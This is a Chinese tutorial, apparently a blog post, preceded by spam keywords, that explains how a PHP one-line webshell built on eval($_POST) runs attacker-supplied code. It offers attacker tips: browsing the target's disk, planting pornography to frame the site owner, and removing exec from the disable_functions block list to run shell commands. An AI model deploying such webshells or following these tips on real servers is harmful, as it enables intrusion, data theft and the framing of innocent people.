网站建设ASP心得体会,设计癖官网,产品详情页模板免费下载,wordpress建网 打不开在很多的渗透过程中#xff0c;渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限#xff0c;不论asp、php、jsp、aspx都是如此#xff0c;那么一句话木马到底是如何执行的呢#xff0c;下面我们就对webshell进行一个简单的分析。首先我们先看…在很多的渗透过程中渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限不论asp、php、jsp、aspx都是如此那么一句话木马到底是如何执行的呢下面我们就对webshell进行一个简单的分析。首先我们先看一个原始而又简单的php一句话木马。看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言或者初级的安全爱好者或者脚本小子而言看到的第一眼就是密码是cmd通过post提交数据但是具体如何执行的却不得而知下面我们分析一句话是如何执行的。这句话什么意思呢php的代码要写在?php ?里面服务器才能认出来这是php代码然后才去解析。符号的意思是不报错。例如如果没有如下图就会报错为什么呢因为一个变量没有定义就被拿去使用了服务器就善意的提醒Notice你的xxx变量没有定义。这不就暴露了密码吗所以加上为什么pw是密码呢那就要来理解这句话的意思了php里面几个超全局变量$_GET、$_POST就是其中之一$_POST[a];意思就是a这个变量用post的方法接收。(传输数据的两种方法get、postpost是在消息体存放数据get是在消息头的url路径里存放数据(例如xxx.php?a2))eval()把字符串作为PHP代码执行例如eval(echo a);其实就等于直接 echo a;再来看看?php eval($_POST[pw]); ?首先用post方式接收变量pw比如接收到了pwecho a;这时代码就变成?php eval(echo a;); ?结果连起来意思就是用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行所以也就能这么玩也就是说你想执行什么代码就把什么代码放进变量pw里用post传输给一句话木马你想查看目标硬盘里有没有小黄片可以用php函数opendir()和readdir()等等想上传点小黄片诬陷站主就用php函数move_uploaded_file当然相应的html要写好你想执行cmd命令则用exec()当然前提是php配置文件php.ini里关掉安全模式safe_mode off然后在看看 禁用函数列表 disable_functions proc_open, popen, exec, system, shell_exec 把exec去掉确保没有exec。(有些cms为了方便处理某些功能会去掉的)看看效果其实可以很明显看明白其实执行的命令就和我们前面写的哪样进行输入输出执行系统命令操作。所以只要webshell有足够高的权限可以做任何你想做的事情。